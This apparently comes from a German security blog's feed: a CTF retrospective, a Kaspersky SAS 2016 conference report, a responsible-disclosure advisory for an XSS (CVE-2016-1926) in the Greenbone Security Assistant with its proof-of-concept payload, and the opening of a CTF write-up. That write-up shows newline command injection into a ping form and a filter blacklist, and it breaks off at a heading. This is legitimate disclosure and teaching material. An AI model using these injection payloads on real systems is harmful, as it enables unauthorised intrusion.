<p><a rel="fancybox"href="/images/posts/ctf16-memory.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/ctf16-memory.png" alt="Hoher Ramverbrauch" title="Hoher Ramverbrauch" /></a></p>

<h2>Was wir denken, dass es insgesamt gut war</h2>

<p>Okay, dann beleuchten wir auch mal positive Aspekte unseres CTFs. Unserer Meinung nach war die Uptime und die allgemeine Stabilität der Services gut. Ausgeschlossen einiger kleiner Downtimes wegen der Bugfixes, waren alle Services während des CTF erreichbar.</p>

<p>Ein weiterer starker Punkt war die Kommunikation. Wir waren den ganzen CTF lang über Twitter oder im IRC erreichbar. Wir haben kein aktives Cheating, Flaggen-Sharing oder anderes schlechtes Verhalten in unserem IRC channel mitbekommen.</p>

<p>Was uns erfreute waren diverse &#8216;aha&#8217;-Effekte unserer Teilnehmer beim Lösen der Challenges. Es scheint als hätten wir Neuankömmlingen eine gute Möglichkeit geboten, über CTFs zu lernen und das gute Gefühl zu verspüren, wenn man endlich eine Challenge gelöst hat.</p>

<p>Einige erfrischende und/oder interessante Challenges, wie exp80 / exp90 / web90 / rev90 / rev80 (Sebastian&#8217;s persönliche Favoriten).</p>

<h2>Was andere über den CTF denken</h2>

<p>Wir nutzten eine <a href="https://docs.google.com/forms/d/1FDtd3lLscW4pvwEonh0rKeHiWsGOY5STlo-ElauyE-M/">Google Umfrage</a> um nach Feedback zu fragen. 80 Leute waren so nett uns eine handvoll an Fragen zu beantworten. Wir würden gerne einige dieser Antworten mit euch teilen.</p>

<p>Einige Grafiken:</p>

<p><a rel="fancybox"href="/images/posts/iwctf16-ctf.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/iwctf16-ctf.png" alt="How many CTFs have you participated in?" title="ctf before" /></a></p>

<p><a rel="fancybox"href="/images/posts/iwctf16-impression.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/iwctf16-impression.png" alt="What was your overall impression of the CTF?" title="overall impression" /></a></p>

<p><a rel="fancybox"href="/images/posts/iwctf16-communication.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/iwctf16-communication.png" alt="How would you rate the communication between the organizers and competitors during the competition?" title="communication between researcher and organizers" /></a></p>

<p><a rel="fancybox"href="/images/posts/iwctf16-difficulty.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/iwctf16-difficulty.png" alt="How would you rate the overall difficulty of the challenges?" title="difficulty of tasks" /></a></p>

<p><a rel="fancybox"href="/images/posts/iwctf16-chals.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/iwctf16-chals.png" alt="In general, I think the challenges were ..." title="challenges opinion" /></a></p>

<p><a rel="fancybox"href="/images/posts/iwctf16-playing.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/iwctf16-playing.png" alt="Would you consider playing in Internetwache CTF next year?" title="next year" /></a></p>

<p>Allgemeines Challenges Feedback:</p>

<ul>
<li>Challenge and scoreboard availability was good, services seemed to be mostly up and responsive for me, even with so many participants, nice job on that! However, we had some beginners on the team and I think it&#8217;s great to have easy challenges as well so they don&#8217;t get frustrated. They should not constitute the heart of the contest though.</li>
<li>Very good, especially for the 1st CTF you&#8217;ve run!</li>
<li>A bit on the easy side - but that is also fine sometimes. Great quality in presentation, and descriptions.</li>
<li>It seems little bit easy to solve the challenges, but even if that we&#8217;ve learned lots of new stuff from challenges in time.</li>
<li>I liked that the difficulty was not immediately visible. Encouraged me to try all the challenges and not to start with the easy ones.</li>
</ul>


<p>Abschließende Worte:</p>

<ul>
<li>Extremly well done for the first time hosting a CTF, and one of the most enjoyable CTFs so far this year. Good challenge difficulty for beginning CTF teams. Time limit was okay, bit long maybe, but that leaves the less active teams time to enjoy the challenges</li>
<li>Great IRC moderators! This CTF was well run which is very much appreciated after several badly run CTFs this year.</li>
<li>Good job.Thanks :)</li>
<li>Awesome job guys, looking forward to next year!</li>
<li>I&#8217;d like to point out that your organizing work is clearly above average.</li>
<li>Unlike some CTFs, this has potential to not suck.  It&#8217;s a little rough right now, but I think everyone forgives you for minor mistakes in the beginnings of a major undertaking.</li>
</ul>


<p>Wir freuen uns schon darauf, nächtes Jahr einen weiteren CTF zu hosten.</p>

<p>Das Team der Internetwache.org</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Besuch auf dem Security Analyst Summit #TheSAS2016]]></title>
    <link href="https://www.internetwache.org/besuch-auf-dem-security-analyst-summit-number-thesas2016-28-02-2016/"/>
    <updated>2016-02-28T23:15:00+01:00</updated>
    <id>https://www.internetwache.org/besuch-auf-dem-security-analyst-summit-number-thesas2016</id>
    <content type="html"><![CDATA[<p>Vor kurzem war <a href="http://twitter.com/TimPhSchaefers">Tim</a> auf dem <a href="http://sas.kaspersky.com/">Security Analyst Summit</a> von Kaspersky Labs (#TheSAS2016) eingeladen, welcher dieses Jahr im Februar auf Teneriffa (Kanarische Inseln) stattfand.
In diesem Beitrag möchte er seine Eindrücke schildern und einen kleinen Überblick darüber geben, was (aus Sicht der Security-Community) die spannensten Beiträge waren.</p>

<p>TL;DR #TheSAS2016 war eine großartige Erfahrung und Tim hat sehr viel gelernt, da jeder Tag mit vielen Erlebnissen und dem Lernen und Erfahren neuer Dinge einherging. Die Örtlichkeiten waren beeindruckend, die Atmosphäre war etwas besonderes, die Leute waren allesamt sehr nett - alles zusammen war es ein super Erlebnis!</p>

<!-- more -->


<p>Zunächst einmal für alle die nicht den <a href="https://twitter.com/search?f=tweets&amp;vertical=default&amp;q=%23TheSAS2016&amp;src=typd">#TheSAS2016</a> in ihrer Twitter-Timeline und keine Berichte in den Medien gesehen haben oder einfach nicht wissen, worum es bei SAS geht:
SAS steht für &#8220;Security Analyst Summit&#8221; und ist eine invite-only Sicherheitskonferenz organisiert von <a href="https://sas.kaspersky.com/">Kaspersky</a> . In diesem Jahr wurde die Konferenz auf Teneriffa (Kanarische Inseln) abgehalten.</p>

<blockquote class="twitter-tweet" data-lang="de"><p lang="en" dir="ltr">Ready for <a href="https://twitter.com/hashtag/TheSAS2016?src=hash">#TheSAS2016</a> <a href="https://t.co/ClHu3yYzt0">pic.twitter.com/ClHu3yYzt0</a></p>&mdash; Tim Philipp Schäfers (@TimPhSchaefers) <a href="https://twitter.com/TimPhSchaefers/status/696097766951493632">6. Februar 2016</a></blockquote>


<script async src="https://www.internetwache.org//platform.twitter.com/widgets.js" charset="utf-8"></script>


<p>Personen aus der Security-Community, von Strafverfolgungsbehörden und CERTs kommen zusammen, um ihre Ideen zu teilen und darüber zu debattieren, wie man auch zukünftig die Cyberwelt sichert und Cyberkriminalität effektiv bekämpfen kann. Dieses Jahr waren es insgesamt über 330 Teilnehmer. Die Themen der Vorträge gehen von Cyberspionage, über Webhacking, Security/Safety, Malware Analyse bis hin zu ICS Hacking.</p>

<p>In diesem Jahr wurde die Eröffnungsrede von John Lambert <a href="https://twitter.com/JohnLaTwC">@JohnLaTwC</a> gehalten. Er ist Leiter des Threat Intelligence Centers bei Microsoft und sein Vortrag handelte über neue Möglichkeiten im Bereich der Verteidigung (&#8220;Changing the Physics of Defense&#8221;). Da wir (bei Internetwache.org) meistens die Position eines Angreifers einnehmen und Sicherheitslücken bei Unternehmen offenlegen, war dieser Vortrag tatsächlich sehr erkenntnisreich. Auf der einen Seite zeigte er wie schwer es sein kann Systeme zu sichern, wenn man sich auf traditionelle Verfahren verlässt, zeigte aber auf der anderen Seite wie gut man mit modernen Methoden dafür sorgen kann, dass Systeme und Anwendungen sicherer werden.</p>

<blockquote class="twitter-tweet" data-lang="de"><p lang="en" dir="ltr">Modern defenders vs traditional: think about adversaries not incidents, by <a href="https://twitter.com/JohnLaTwC">@johnlatwc</a> <a href="https://twitter.com/hashtag/TheSAS2016?src=hash">#TheSAS2016</a> <a href="https://t.co/gss5MITuO1">pic.twitter.com/gss5MITuO1</a></p>&mdash; Eugene Kaspersky (@e_kaspersky) <a href="https://twitter.com/e_kaspersky/status/696647491719196673">8. Februar 2016</a></blockquote>


<script async src="https://www.internetwache.org//platform.twitter.com/widgets.js" charset="utf-8"></script>


<p>John hat seine Folien nach dem Vortrag in seinem <a href="https://onedrive.live.com/redir?resid=F29DB6166A2D81B4!108&amp;authkey=!AJaS6VKY2AeMdDU&amp;ithint=file%2cpdf">Onedrive</a> online gestellt. Jeder der daran Interesse hat zu erfahren, wie moderne Sicherheitskonzepte aussehen sollten oder wie Microsoft mit seinem Vorgehen erfolgreich Zero-Day Lücken schließt, dem empfehlen wir ausdrücklich die Lektüre der Folien.</p>

<p>Neben einigen spannenden Vorträgen über offensive und defensive Sicherheitsmaßnahmen gab es auch einige &#8220;Enthüllungen&#8221; über APTs (advanced persistent threats) oder die Tools von Cyberkriminellen, etwa der &#8220;Poseidon APT&#8221;, &#8220;Adwind&#8221; und viele mehr.
Hier führen wir nur einige Beispiele auf, sollte tiefergehendes Interesse an einigen Voträgen bestehen, so kann man sich auf <a href="https://securelist.com/all/?tag=752">securelist.com</a> einige Artikel mit dem #TheSAS2016 durchlesen. Auch die Kollegen von <a href="https://twitter.com/Kaspersky_DACH">Kaspersky DACH</a> haben einige <a href="https://blog.kaspersky.de/?s=%23TheSAS2016&amp;submit=Search">Artikel</a> online gestellt.</p>

<h3><a href="https://blog.kaspersky.de/poseidon-apt-boutique/6967/">Peoseidon APT</a></h3>

<p>Sicherheitsforscher des Kaspersky GREAT Team haben eine vermutlich portugiesisch-sprechende Gruppe von Cyberkriminellen ausmachen können, die seit circa einer Dekade für Unruhe sorgen. Die Angreifer gehen dabei allerdings sehr geschickt vor und agieren meist unauffällig, um Spuren zu verwischen. Zwischenzeitlich nutzten sie sogar die Infrastruktur von Unternehmen, nur um damit andere Unternehmen anzugreifen. Dem Namen &#8220;Poseidon&#8221; haben sie erhalten, da es der Gruppe zwischendurch gelang der Satelieten-Kommunikation, welche eigentlich Schiffen vorbehalten war, habhaft zu werden. In einigen Fällen nutzten die Angreifer das alte &#8220;wri&#8221;-Dateiformat (Windows Write Document) um damit Sicherheitsvorkehrungen zu umgehen und mittels sozialer Manipulation Angreife durchzuführen. Die Gruppe ist vermutlich immernoch aktiv. Tim hat den ersten deutschsprachigen Artikel zu der Gruppe auf <a href="http://www.golem.de/news/poseidon-gruppe-ueber-ein-jahrzehnt-internationale-cyberattacken-1602-119014.html">golem.de</a> veröffentlicht.</p>

<h3><a href="https://securelist.com/securelist/files/2016/02/KL_AdwindPublicReport_2016.pdf">Adwind</a></h3>

<p>Malware-as-a-service scheint für Online-Kriminelle ein sehr lukratives Geschäft zu sein. Mit &#8220;Adwind&#8221; wurde von den Sicherheitsexperten von Kaspersky ein multi-Plattform RAT (Fernwartungsprogramm) entdeckt. Es ist komplett in Java entwickelt und läuft daher auf viele verschiedenen Systemen (z.B. Windows, Linux, Mac, etc). Die Forscher fanden heraus, dass es dort eine Art Online-Abonnement-Modell für dieses Tool gibt. Das ist der Grund warum diese Malware in verschiedenen APT und Spamkampagnen genutzt werden.</p>

<p>Es gab sehr viele weitere gute Vorträge - zum Beispiel über:</p>

<ul>
<li><a href="https://www.youtube.com/watch?v=PDg5i11RT6k">Krankenhäuser hacken</a> von <a href="https://twitter.com/61ack1ynx">@61ack1ynx</a></li>
<li>Event-Visualisierung nutzen, um mehr Informationen über Sicherheitsvorfälle zu bekommen von <a href="https://twitter.com/raffaelmarty">@raffaelmarty</a> von Pixlcloud</li>
<li><a href="https://securelist.com/blog/research/73638/apt-style-bank-robberies-increase-with-metel-gcman-and-carbanak-2-0-attacks/">Moderne Banküberfälle</a></li>
</ul>


<blockquote class="twitter-tweet" data-lang="de"><p lang="en" dir="ltr">I&#39;m not going to try to summarize this. Basically look for patterns. <a href="https://twitter.com/raffaelmarty">@raffaelmarty</a> <a href="https://twitter.com/hashtag/TheSAS2016?src=hash">#TheSAS2016</a> <a href="https://t.co/OFCKsqr6zA">pic.twitter.com/OFCKsqr6zA</a></p>&mdash; Chris Eng (@chriseng) <a href="https://twitter.com/chriseng/status/697056267089670146">9. Februar 2016</a></blockquote>


<script async src="https://www.internetwache.org//platform.twitter.com/widgets.js" charset="utf-8"></script>


<p>Dieser Blogpost würde zu keinem Ende kommen, falls Tim alle guten Vorträge und die hervoragende Arbeit dahinter aufzählen würde - Entschuldigung dafür!</p>

<p>Am zweiten Tag war Tim besonders an den Voträgen von Kymberlee Price <a href="https://twitter.com/Kym_Possible">@Kym_Possible</a> von <a href="https://twitter.com/bugcrowd">@bugcrowd</a> und Katie Moussouris <a href="https://twitter.com/k8em0">@k8em0</a> von <a href="https://twitter.com/Hacker0x01">HackerOne</a>.</p>

<p>Als Hintergrundinfo, warum Tim so interessiert an den Vorträgen war (für alle die unsere Arbeit noch nicht besonders lange verfolgen):
Wir (bei Internetwache) beteiligen uns seit 2012 an Bug Bounty Programmen - damals gab es nur eine handvoll Unternehmen, welche überhaupt ein solches Programm hatten (in Europa gab es - gefühlt - gar keine Unternehmen). Aus diesem Grund haben wir uns damals sehr gefreut, dass es Unternehmen wie Bugcrowd oder HackerOne gab, welche Sicherheitsforschern, wie uns, halfen und Prozesse zur Offenlegung von Sicherheitslücken entwarfen.
Wir waren auf beiden Plattformen von Beginn an sehr aktiv: <a href="https://bugcrowd.com/internetwache">@Internetwache auf Bugcrowd</a> und <a href="https://hackerone.com/internetwache">@Internetwache auf HackerOne</a> . Das wir von Beginn an als Team gearbeitet haben ist auch recht außergewöhnlich, bis heute sind die meisten Teilnehmer Einzelgänger.</p>

<p>Zurück zum eigentlichen Thema: #TheSAS2016 Vorträge:</p>

<p>In ihrem Votrag hob <a href="https://twitter.com/Kym_Possible">Kymberlee</a> hervor, dass nicht die Prozesse zur Offenlegung von Sicherheitslücken ein Problem seien (diese sind oft gut durchdacht), sondern vielmehr das fehlende Vertrauen zwischen der Security-Community und den Unternehmen. Wir glauben ebenfalls, dass &#8220;Vertrauen&#8221; essenziell für jede Art von Bug Bounty Programm ist. Oftmals haben Sicherheitsforscher mehr Vertrauen zu den Firmen als umgekehrt. Wir alle müssen an diesem Vertrauen arbeiten - vielleicht schreiben wir dazu bald noch einmal einen Blogartikel.</p>

<p>Sie nutzte eine sehr schöne Folie von David Lenoe um hervorzuheben, dass man sich gegenseitig Respekt zollen sollte und zusammenhalten sollte:</p>

<blockquote class="twitter-tweet" data-lang="de"><p lang="en" dir="ltr">&quot;No one in the security community is evil &#8230; at least the ones who actually communicate with you.&quot; <a href="https://twitter.com/Kym_Possible">@Kym_Possible</a> of <a href="https://twitter.com/Bugcrowd">@bugcrowd</a> <a href="https://twitter.com/hashtag/TheSAS2016?src=hash">#TheSAS2016</a></p>&mdash; Internetwache (@internetwache) <a href="https://twitter.com/internetwache/status/697074457144397825">9. Februar 2016</a></blockquote>


<script async src="https://www.internetwache.org//platform.twitter.com/widgets.js" charset="utf-8"></script>


<p>Katie <a href="https://twitter.com/k8em0">@k8em0</a> hob ebenfalls hervor, dass Hacker wichtig für Gesellschaften und Unternehmen seien - &#8220;Die Welt braucht Hacker&#8221; (englisch: &#8220;the world needs hackers&#8221;).</p>

<blockquote class="twitter-tweet" data-lang="de"><p lang="en" dir="ltr">&quot;The world needs Hackers&quot; <a href="https://twitter.com/k8em0">@k8em0</a> of <a href="https://twitter.com/Hacker0x01">@Hacker0x01</a> <a href="https://twitter.com/hashtag/TheSAS2016?src=hash">#TheSAS2016</a> <a href="https://t.co/svkOkbQ0N7">pic.twitter.com/svkOkbQ0N7</a></p>&mdash; Tim Philipp Schäfers (@TimPhSchaefers) <a href="https://twitter.com/TimPhSchaefers/status/697080747132321793">9. Februar 2016</a></blockquote>


<script async src="https://www.internetwache.org//platform.twitter.com/widgets.js" charset="utf-8"></script>


<p>Ihr Vortrag war über Exportkontrollen und moderne Sicherheit. Für Sicherheitsforscher und -unternehmen stellt sich ein Problem dar, dass mit dem Wissen (wie 0days) zusammenhängt. Das &#8220;Wassenaar Arrangement&#8221; macht es schwer mit solchen Informationen zu reisen, denn &#8220;intrusion software&#8221; (Hackingtools, etc) stehen beispielsweise auf der Liste von zu überwachenden Waren - Katie möchte, dass das &#8220;Wassenaar Arrangement&#8221; geändert wird, denn Ausnahmen für Sicherheitsexperten sind laut ihrer Ansicht nicht ausreichend um sicherzustellen, dass die betroffenen Personen und Unternehmen in ihrer Arbeitsgestaltung frei sind.</p>

<p>Der letzte Tag der #TheSAS2016 war ein Entertainment-Tag. Wir machten eine Safaritour, besuchten den Teide Nationalpark und das Teide-Observatorium und entspannt uns ein wenig &#8230; Sowohl die Landschaft während der Auffahrt, als auch der Ausblick vom Teide waren wirklich eindrucksvoll.</p>

<p><a rel="fancybox"href="/images/posts/thesas16-1.jpg" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/thesas16-1.jpg" alt="Safari Tour" title="Safari Tour" /></a></p>

<p><a rel="fancybox"href="/images/posts/thesas16-2.jpg" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/thesas16-2.jpg" alt="Safari Tour" title="Safari Tour" /></a></p>

<p><a rel="fancybox"href="/images/posts/thesas16-3.jpg" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/thesas16-3.jpg" alt="Auf dem Teide" title="Auf dem Teide" /></a></p>

<p>In diesem Blogpost haben wir einige andere tolle Ereignisse auf dem #TheSAS2016, wie z.B. das Gala-Dinner oder interessante Gespräche, die Tim hatte, ausgelassen - aber das war erstmal alles für heute.
Wenn du mehr über #TheSAS2016 herausfinden willst, dann solltest du einen Blick auf den Blog von <a href="https://eugene.kaspersky.com/2016/02/16/its-a-tough-job-but-someones-got-to-do-it/">Eugene Kasperky</a> oder seine Bilder auf <a href="https://www.flickr.com/photos/e_kaspersky/sets/72157664549131166">Flickr</a> werfen.</p>

<p>Insgesamt war es für Tim sehr interessant einige der Menschen zu treffen, die man sonst nur aus dem Internet oder von Twitter kennt, um deren Ideen über Sicherheit zu erfahren. Leider gab auch eine traurige Sache: Einige Vorträge, denen Monate oder Jahre lange Nachforschung vorausging, mussten teilweise innerhalb von 30 Minuten vorgestellt werden - In manchen Fällen hätte man gerne die komplette Geschichte gehört. Nichtsdestotrotz war das Event großartig! Es würde sogar noch besser sein, wenn mehr Forscher aus der Security-Community dort wären - solltest du also jemals eine Einladung zum SAS kriegen, dann solltest du nicht zweimal darüber nachdenken, ob du diese besondere Gelegenheit wahrnimmst.</p>

<p>Vielleicht sehen wir uns ja auf #TheSAS2017 :)</p>

<p>Das Team der Internetwache.org</p>

<blockquote class="twitter-tweet" data-lang="de"><p lang="en" dir="ltr">That was <a href="https://twitter.com/hashtag/TheSAS2016?src=hash">#TheSAS2016</a> - lets move on!<br>Thanks for the great time :) <a href="https://twitter.com/kaspersky">@kaspersky</a> <a href="https://twitter.com/e_kaspersky">@e_kaspersky</a> <a href="https://twitter.com/ryanaraine">@ryanaraine</a> <a href="https://twitter.com/JacobyDavid">@JacobyDavid</a> <a href="https://t.co/P4TvQ7oXUE">pic.twitter.com/P4TvQ7oXUE</a></p>&mdash; Tim Philipp Schäfers (@TimPhSchaefers) <a href="https://twitter.com/TimPhSchaefers/status/697763349854085120">11. Februar 2016</a></blockquote>


<script async src="https://www.internetwache.org//platform.twitter.com/widgets.js" charset="utf-8"></script>

]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[CVE-2016-1926 - XSS im Greenbone Security Assistant]]></title>
    <link href="https://www.internetwache.org/cve-2016-1926-xss-im-greenbone-security-assistant-20-01-2016/"/>
    <updated>2016-01-20T13:30:00+01:00</updated>
    <id>https://www.internetwache.org/cve-2016-1926-xss-im-greenbone-security-assistant</id>
    <content type="html"><![CDATA[<p>Momentan beschäftigt sich Tim aus beruflichen Gründen mit dem Software-Framework &#8220;OpenVAS&#8221; (&#8220;Open Vulnerability Assessment System&#8221;). Da die Software Open-Source ist, haben wir einige Abende damit verbracht nach Sicherheitsücken in der dazugehörigen Webapplikation, dem Greenbone Security Assistant, zu suchen. Sebastian wurde nach einiger Zeit fündig und wir konnten die Lücken dem Hersteller gegenüber verantwortlich offenlegen - diese wurden bereits behoben.</p>

<!-- more -->


<p>Für alle die nicht wissen, worum es bei <a href="http://www.openvas.org/about.html">OpenVAS</a> geht:
OpenVAS ist eine Software zum Schwachstellen-Management. Konkret kann man mit dieser Software Penetrationstests gegen IT-Systeme vornehmen und die Ergebnisse entsprechend aus- und bewerten. OpenVAS wird unter anderem im Greenbone Security Manager verwendet und ist zudem in jedem Kali Linux integriert.</p>

<h2>CVE-2016-1926: XSS</h2>

<p>Beim Abruf der Statistiken wurde folgender AJAX-Request an das Backend geschickt:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>https://[DOMAIN.tld]/omp?cmd=get_aggregate&xml=0&aggregate_type=nvt&group_column=severity&filt_id=1337&token=guest</span></code></pre></td></tr></table></div></figure>


<p>Der Parameter <code>aggregate_type</code> wurde dabei nicht korrekt gesichert, sodass es im Script-Kontext zu einer einfachen XSS kam. Setzt man <code>aggregate_type=nvt"-alert(document.domain)-"</code>, dann folgt:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>        DataSource ("get_aggregate",
</span><span class='line'>                    {xml:1,
</span><span class='line'>                     aggregate_type:"nvt"-alert(document.domain)-"",
</span><span class='line'>                     group_column:"severity",
</span><span class='line'>                     data_column:"",
</span><span class='line'>                     filter:"",
</span><span class='line'>                     filt_id:"1337"});
</span><span class='line'>
</span><span class='line'>    title_total ("Nvts"-alert(document.domain)-" by severity",
</span><span class='line'>                 "count")
</span><span class='line'>
</span><span class='line'>Chart (gsa.data_sources ["aggregate-source"],
</span><span class='line'>        gsa.generators ["aggregate-generator"],
</span><span class='line'>        gsa.displays ["aggregate-display"],
</span><span class='line'>        "aggregate-chart",
</span><span class='line'>        "Nvt"-alert(document.domain)-" by severity",
</span><span class='line'>        "/img/charts/severity-bar-chart.png",
</span><span class='line'>        1,
</span><span class='line'>        "",
</span><span class='line'>        "");</span></code></pre></td></tr></table></div></figure>


<p>Leider benötigt man für einen erfolgreichen Angriff den Wert des Parameters <code>token</code>. Ist der Gastmodus aktiviert, wie z.B. <a href="https://secinfo.greenbone.net/login/login.html">in der Demo</a>, so reicht es aus, <code>token=guest</code> zu setzen.</p>

<h2>Weiterer, kleiner Bug</h2>

<p>Der folgende Bug wurde im Laufe des Updates direkt mit behoben.
Folgendes Verhalten konnte beobachtet werden:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>GET //internetwache.org/? HTTP/1.1
</span><span class='line'>Host: secinfo.greenbone.net
</span><span class='line'>Connection: close</span></code></pre></td></tr></table></div></figure>


<p>führte zu:</p>

<p><code>&lt;a href="https://www.internetwache.org//internetwache.org/?r=1&amp;amp;=&amp;amp;token=guest"&gt;Login as a guest&lt;/a&gt;</code></p>

<p>Alle Zeichen des Pfades im GET-Request wurden im href-Attribut wiedergegeben. Leider ist ein <code>GET javascript:alert(1)</code> nicht im Browser nachstellbar (ein führender Slash wird benötigt), sodass hier mit Glück im Unglück eine XSS verhindert werden konnte. Es bleibt die Möglichkeit per relativem Protokoll den Link zu manipulieren, sodass ein Benutzer beim Klick auf &#8220;Login als Gast&#8221; beliebig weitergeleitet werden kann.</p>

<h2>Details</h2>

<ul>
<li>Produkt: Greenbone Security Assistant ≥ 6.0.0 and &lt; 6.0.8</li>
<li>Hersteller: <a href="http://www.openvas.org/">OpenVAS</a></li>
<li>Risiko: Niedrig, CVSS 1.9 (AV:A/AC:M/Au:M/C:P/I:N/A:N)</li>
<li><a href="https://www.cert-bund.de/advisoryshort/CB-K16-0058">Bund-CERT Meldung</a></li>
</ul>


<p>Die Kommunikation mit der Sicherheitsabteilung der Greenbone GmbH war sehr angenehm:</p>

<ul>
<li>07.01.2016: XSS entdeckt und Hersteller informiert.</li>
<li>08.01.2016, 08:00: Bestätigung vom Hersteller und Aussage, dass bereits am Problem gearbeitet wird</li>
<li>08.01.2016, 17:30: Fix bereits fertig, wird noch ausgiebig getestet.</li>
<li>09.01.2016: Update für Greenbone Security Manager veröffentlicht: <a href="http://greenbone.net/technology/gbsa2016-01.html">Advisory GBSA 2016-01</a></li>
<li>13.01.2016: Update für OpenVAS veröffentlicht: <a href="http://www.openvas.org/OVSA20160113.html">Advisory OVSA 20160113</a></li>
<li>18.01.2016: CVE-2016-1926 von MITRE zugewiesen</li>
</ul>


<p>Das Team der Internetwache.org</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Insomni'hack Teaser CTF 2016 - Smartcat2 writeup]]></title>
    <link href="https://www.internetwache.org/insomnihack-teaser-ctf-2016-smartcat2-writeup-18-01-2016/"/>
    <updated>2016-01-18T19:44:00+01:00</updated>
    <id>https://www.internetwache.org/insomnihack-teaser-ctf-2016-smartcat2-writeup</id>
    <content type="html"><![CDATA[<p>Sebastian schloss sich für den <a href="http://teaser.insomnihack.ch">Insomnihack teaser CTF 2016</a> dem Team ENOFLAG an. In diesem Blogpost geht es um den ausgedachten Workaround für die smartcat2 (web0) Challenge.</p>

<!-- more -->


<p>Ich habe selbst smartcat1 nicht gelöst, da als ich beim Treffpunkt ankam, Denis <a href="https://twitter.com/nobbd">@nobbd</a> diese challenge bereits gelöst hatte und wir direkt mit smartcat2 weitemachten. Nachdem wir auch diese erfolgreich lösten, wurde uns mitgeteilt, dass wir nicht die intendierte Lösung genutzt haben, sodass wir gerne unseren Lösungsweg, nämlich den Bypass des Filters, beschreiben möchten.</p>

<p><strong>Note to myself:</strong> Die Burp Instanzen öfters mal speichern und mehr Notizen machen, um bessere Writeups schreiben zu können. (Ich schreibe das aus meinem Gedächtnis heraus und habe wahrscheinlich (wichtige) Gedanken/Entscheidungen vergessen)</p>

<h1>Smartcat2</h1>

<p>Zunächst erstmal ein paar Worte zu der Challenge. Es war eine Webseite die uns erlaubte, eine IP Adresse zu pingen:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>POST /cgi-bin/index.cgi?c= HTTP/1.1
</span><span class='line'>Host: smartcat.insomnihack.ch
</span><span class='line'>Connection: close
</span><span class='line'>Content-Type: application/x-www-form-urlencoded
</span><span class='line'>Content-Length: 26
</span><span class='line'>
</span><span class='line'>dest=127.0.0.1</span></code></pre></td></tr></table></div></figure>


<p>Wie wir bereits in smartcat1 gelernt haben, konnte man Kommands ausführen, in dem man diese mit Zeilenumbrüchen (<code>\n</code> aka <code>%0A</code>) separierte. Zum Beispiel würde  <code>dest=127.0.0.1%0Als</code> das Programm <code>ls</code> ausführen. Wie auch immer, es gab eine Blacklist mit unerlaubten Zeichen:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>blacklist = " $;&|({`\t"
</span><span class='line'>for badchar in blacklist:
</span><span class='line'>        if badchar in dest:
</span><span class='line'>                results = "Bad character %s in dest" % badchar
</span><span class='line'>                break</span></code></pre></td></tr></table></div></figure>


<p>Wir können keine Kommandos ausführen, welche Parameter benötigen, da Leerzeichen Teil der Blacklist sind. Der Standard-Bypass mit <code>$IFS</code> funktioniert auch nicht, da <code>$</code> ebenfalls auf der Blacklist ist. Wir können aber <code>&lt;</code> und <code>&gt;</code> anstatt der Pipe (<code>|</code>) für die meisten Shell-Kommandos nutzen, um die Aus- bzw. Eingaben umzuleiten.</p>

<p>Die erste Sache die mich interessierte war, welche Shell genutzt wird. <code>pstree</code> bzw. <code>ps</code> oder ein ähnliches Kommando zeigte eine Menge <code>sh</code> Prozesse, sodass wohl dies die Shell darstellte. Somit leider keine Bash-Magic anwendbar.</p>

<p>Nach einer Weile Rumspielen mit <code>find</code> und <code>cat</code> fanden wir den Hinweis, dass die Flagge sich im Ordner <code>/home/smartcat</code> befindet. Allerdings sucht <code>find</code> vom aktuellen Arbeitsverzeichnis aus (<code>/var/www/cgi-bin/</code>) und wir können dieses nicht bearbeiten, oder doch?</p>

<h2>Variablen nutzen</h2>

